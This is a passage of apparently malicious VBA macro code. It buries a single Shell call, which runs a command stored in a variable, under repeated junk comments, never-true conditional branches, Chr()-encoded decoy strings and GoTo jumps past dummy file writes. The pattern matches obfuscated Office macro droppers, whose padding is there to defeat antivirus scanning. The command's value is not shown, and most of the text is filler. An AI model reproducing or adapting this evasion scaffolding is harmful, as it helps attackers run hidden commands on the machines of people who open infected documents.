- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 795272 = 795272 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 1487 < 42 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(99) & Chr(106) & Chr(113) & Chr(108) & Chr(105) & Chr(116) & Chr(120) & Chr(102) & Chr(50) & Chr(52))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(99) & Chr(120) & Chr(112) & Chr(111) & Chr(122) & Chr(116) & Chr(121) & Chr(102) & Chr(53) & Chr(54) & Chr(53) & Chr(49)) = Len(Chr(116) & Chr(112) & Chr(108) & Chr(114) & Chr(118) & Chr(120) & Chr(107) & Chr(100)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Close #44
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 371891 = 371891 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 1292 < 67 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(113) & Chr(115) & Chr(108) & Chr(113) & Chr(101) & Chr(109) & Chr(107) & Chr(112) & Chr(50) & Chr(57))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(109) & Chr(115) & Chr(106) & Chr(112) & Chr(106) & Chr(113) & Chr(120) & Chr(98) & Chr(52) & Chr(52) & Chr(54) & Chr(54)) = Len(Chr(120) & Chr(104) & Chr(109) & Chr(99) & Chr(118) & Chr(112) & Chr(119) & Chr(116)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- eubugyes:
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 592352 = 592352 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 2772 < 21 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(103) & Chr(102) & Chr(120) & Chr(98) & Chr(118) & Chr(121) & Chr(101) & Chr(108) & Chr(57) & Chr(52))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(122) & Chr(103) & Chr(114) & Chr(121) & Chr(119) & Chr(108) & Chr(112) & Chr(116) & Chr(51) & Chr(54) & Chr(50) & Chr(50)) = Len(Chr(99) & Chr(105) & Chr(114) & Chr(113) & Chr(103) & Chr(99) & Chr(118) & Chr(108)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Close #zgbpbucckrp
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- GoTo syypbxop
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Dim txxmjevf As String
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Open Chr(75) & Chr(88) & Chr(90) & Chr(87) & Chr(90) & Chr(66) & Chr(46) & Chr(81) & Chr(79) & Chr(86) For Binary As 54
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 418815 = 418815 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 4985 < 72 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(104) & Chr(117) & Chr(117) & Chr(111) & Chr(114) & Chr(102) & Chr(112) & Chr(100) & Chr(53) & Chr(55))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(100) & Chr(97) & Chr(115) & Chr(118) & Chr(108) & Chr(104) & Chr(113) & Chr(103) & Chr(53) & Chr(56) & Chr(51) & Chr(53)) = Len(Chr(97) & Chr(112) & Chr(117) & Chr(119) & Chr(118) & Chr(101) & Chr(100) & Chr(111)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Put #54, , txxmjevf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 775994 = 775994 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 7492 < 12 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(98) & Chr(116) & Chr(102) & Chr(105) & Chr(122) & Chr(112) & Chr(109) & Chr(106) & Chr(50) & Chr(50))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(121) & Chr(119) & Chr(106) & Chr(121) & Chr(113) & Chr(122) & Chr(106) & Chr(105) & Chr(50) & Chr(54) & Chr(54) & Chr(53)) = Len(Chr(103) & Chr(111) & Chr(98) & Chr(97) & Chr(105) & Chr(108) & Chr(97) & Chr(117)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Close #54
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 233887 = 233887 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 6138 < 26 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(116) & Chr(108) & Chr(121) & Chr(111) & Chr(98) & Chr(116) & Chr(118) & Chr(104) & Chr(51) & Chr(57))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(120) & Chr(122) & Chr(105) & Chr(106) & Chr(97) & Chr(102) & Chr(102) & Chr(118) & Chr(57) & Chr(51) & Chr(57) & Chr(50)) = Len(Chr(99) & Chr(121) & Chr(113) & Chr(116) & Chr(111) & Chr(115) & Chr(102) & Chr(116)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- syypbxop:
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 156742 = 156742 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 4522 < 48 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(121) & Chr(102) & Chr(110) & Chr(113) & Chr(114) & Chr(109) & Chr(108) & Chr(116) & Chr(54) & Chr(57))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(98) & Chr(105) & Chr(109) & Chr(108) & Chr(111) & Chr(97) & Chr(107) & Chr(115) & Chr(53) & Chr(52) & Chr(54) & Chr(51)) = Len(Chr(105) & Chr(120) & Chr(122) & Chr(102) & Chr(121) & Chr(107) & Chr(122) & Chr(113)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Dim mxrwkuegsvh
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- GoTo vhvdjdfg
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Dim hugvimzl As String
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Open Chr(86) & Chr(70) & Chr(86) & Chr(80) & Chr(67) & Chr(87) & Chr(46) & Chr(86) & Chr(81) & Chr(66) For Binary As 71
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 314729 = 314729 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 3944 < 85 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(117) & Chr(117) & Chr(105) & Chr(122) & Chr(105) & Chr(108) & Chr(103) & Chr(100) & Chr(52) & Chr(55))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(114) & Chr(97) & Chr(102) & Chr(107) & Chr(118) & Chr(119) & Chr(106) & Chr(103) & Chr(54) & Chr(51) & Chr(49) & Chr(55)) = Len(Chr(117) & Chr(121) & Chr(106) & Chr(116) & Chr(121) & Chr(109) & Chr(104) & Chr(119)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Put #71, , hugvimzl
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 946696 = 946696 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 9198 < 94 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(112) & Chr(102) & Chr(106) & Chr(106) & Chr(104) & Chr(108) & Chr(101) & Chr(107) & Chr(52) & Chr(56))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(107) & Chr(101) & Chr(119) & Chr(104) & Chr(118) & Chr(113) & Chr(98) & Chr(112) & Chr(49) & Chr(56) & Chr(53) & Chr(56)) = Len(Chr(100) & Chr(120) & Chr(108) & Chr(119) & Chr(108) & Chr(106) & Chr(115) & Chr(99)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Close #71
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 313795 = 313795 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 6838 < 34 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(117) & Chr(117) & Chr(117) & Chr(121) & Chr(108) & Chr(98) & Chr(113) & Chr(117) & Chr(49) & Chr(51))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(118) & Chr(107) & Chr(111) & Chr(100) & Chr(109) & Chr(111) & Chr(97) & Chr(104) & Chr(55) & Chr(54) & Chr(55) & Chr(56)) = Len(Chr(115) & Chr(98) & Chr(122) & Chr(112) & Chr(118) & Chr(120) & Chr(101) & Chr(112)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- vhvdjdfg:
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 162718 = 162718 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 2259 < 26 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(107) & Chr(99) & Chr(108) & Chr(99) & Chr(98) & Chr(99) & Chr(99) & Chr(122) & Chr(54) & Chr(49))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(98) & Chr(100) & Chr(120) & Chr(119) & Chr(105) & Chr(104) & Chr(108) & Chr(109) & Chr(51) & Chr(49) & Chr(49) & Chr(57)) = Len(Chr(108) & Chr(121) & Chr(119) & Chr(110) & Chr(97) & Chr(120) & Chr(121) & Chr(105)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- mxrwkuegsvh = Shell(kxqaxtgwbnh, 1)
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- GoTo upvpnycc
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Dim dtuyfnfh As String
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Open Chr(79) & Chr(65) & Chr(85) & Chr(78) & Chr(78) & Chr(81) & Chr(46) & Chr(79) & Chr(86) & Chr(73) For Binary As 25
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 745147 = 745147 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 7358 < 14 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(116) & Chr(109) & Chr(106) & Chr(118) & Chr(98) & Chr(113) & Chr(119) & Chr(118) & Chr(56) & Chr(57))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(101) & Chr(104) & Chr(99) & Chr(102) & Chr(103) & Chr(100) & Chr(118) & Chr(98) & Chr(56) & Chr(49) & Chr(49) & Chr(56)) = Len(Chr(106) & Chr(98) & Chr(106) & Chr(113) & Chr(108) & Chr(98) & Chr(98) & Chr(109)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Put #25, , dtuyfnfh
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 478173 = 478173 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 5323 < 71 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(111) & Chr(97) & Chr(97) & Chr(102) & Chr(117) & Chr(112) & Chr(111) & Chr(101) & Chr(56) & Chr(50))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(104) & Chr(106) & Chr(116) & Chr(115) & Chr(104) & Chr(101) & Chr(116) & Chr(119) & Chr(56) & Chr(53) & Chr(56) & Chr(54)) = Len(Chr(118) & Chr(116) & Chr(115) & Chr(105) & Chr(115) & Chr(109) & Chr(106) & Chr(109)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Close #25
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 493914 = 493914 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 8639 < 43 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(106) & Chr(110) & Chr(121) & Chr(104) & Chr(108) & Chr(104) & Chr(100) & Chr(122) & Chr(53) & Chr(54))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(105) & Chr(113) & Chr(105) & Chr(99) & Chr(109) & Chr(98) & Chr(101) & Chr(112) & Chr(50) & Chr(57) & Chr(57) & Chr(51)) = Len(Chr(111) & Chr(102) & Chr(113) & Chr(113) & Chr(101) & Chr(118) & Chr(122) & Chr(104)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- upvpnycc:
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 293355 = 293355 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 5988 < 53 Then
